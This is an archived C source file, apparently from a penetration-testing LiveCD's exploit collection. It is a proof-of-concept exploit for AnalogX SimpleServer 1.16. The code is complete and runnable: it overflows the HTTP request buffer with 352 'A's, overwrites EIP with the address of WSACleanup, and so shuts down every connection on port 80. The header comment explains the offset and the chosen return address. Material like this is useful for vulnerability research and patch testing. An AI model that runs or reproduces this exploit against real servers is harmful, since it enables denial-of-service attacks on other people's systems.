home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / proxy / analog-x / analog-x-http-test.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  2KB  |  76 lines

  1. /*
  2. AnalogX SimpleServer 1.16 Proof-of-concept
  3.     by Auriemma Luigi (e-mail: bugtest at sitoverde.com)
  4.  
  5. The minimum number of chars to send to the server is 348 'A's
  6. plus "\r\n\r\n" ( = 352).
  7.  
  8. This is only a proof-of-concept, and the only thing that it do
  9. is to close all the connections of the program http.exe
  10.  
  11. For do this I have decided to point the EIP to the WSACleanup
  12. function, so all the connections on the port 80 will be killed
  13. and nobody can connect to it.
  14. If I send only 'A's the only connection that will be killed is
  15. the same where the attack was launched, and until the program
  16. is not closed it will continue to do its work, but if we call
  17. WSACleanup is more useful!
  18.  
  19. * This source is covered by the GNU GPL
  20. */
  21.  
  22. #include <stdio.h>
  23. #include <winsock.h>
  24. #include <string.h>
  25. #include "sock_err.h"
  26.  
  27. #define BUFFSIZE    360
  28. #define OFFSET    352    //where the EIP is overwritten
  29. #define PORT    80
  30. #define CHZ    'A'
  31. #define EIP    "\xf8\xa7\x41\x00"    //the EIP of WSACleanup()
  32. #define RETURN    "\r\n\r\n"
  33.  
  34. int main(int argc, char *argv[]) {
  35.     setbuf(stdout, NULL);
  36.     if(argc < 2) {
  37.         printf("\nUsage: %s <host>\n", argv[0]);
  38.         exit(1);
  39.     }
  40.  
  41.     unsigned char    buff[BUFFSIZE];
  42.     struct    sockaddr_in     peer;
  43.     struct    hostent *hp;
  44.     int    shandle,
  45.         err;
  46.     WSADATA wsadata;
  47.  
  48.     WSAStartup(MAKEWORD(2,0), &wsadata);
  49.     if(inet_addr(argv[1]) == INADDR_NONE) {
  50.                 hp = gethostbyname(argv[1]);
  51.         if(hp == 0) sock_err(-1);
  52.                 else peer.sin_addr = *(struct in_addr *)hp->h_addr;
  53.         }
  54.                 else peer.sin_addr.s_addr = inet_addr(argv[1]);
  55.     peer.sin_port   = htons(PORT);
  56.     peer.sin_family = AF_INET;
  57.  
  58.     memset(buff, CHZ, OFFSET);
  59.     memcpy(buff + OFFSET, EIP, 4);
  60.     memcpy(buff + OFFSET + 4, RETURN, 4);
  61.  
  62.     shandle = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  63.     sock_err(shandle);
  64.     err = connect(shandle, (struct sockaddr *)&peer, sizeof(peer));
  65.     sock_err(err);
  66.     err = send(shandle, buff, BUFFSIZE, 0);
  67.     sock_err(err);
  68.     err = recv(shandle, buff, BUFFSIZE, 0);
  69.     if(err < 0) printf("\nServer crashed!\n");
  70.         else printf("\nServer is not vulnerable\n");
  71.     closesocket(shandle);
  72.     WSACleanup();
  73.     return(0);
  74. }
  75.  
  76.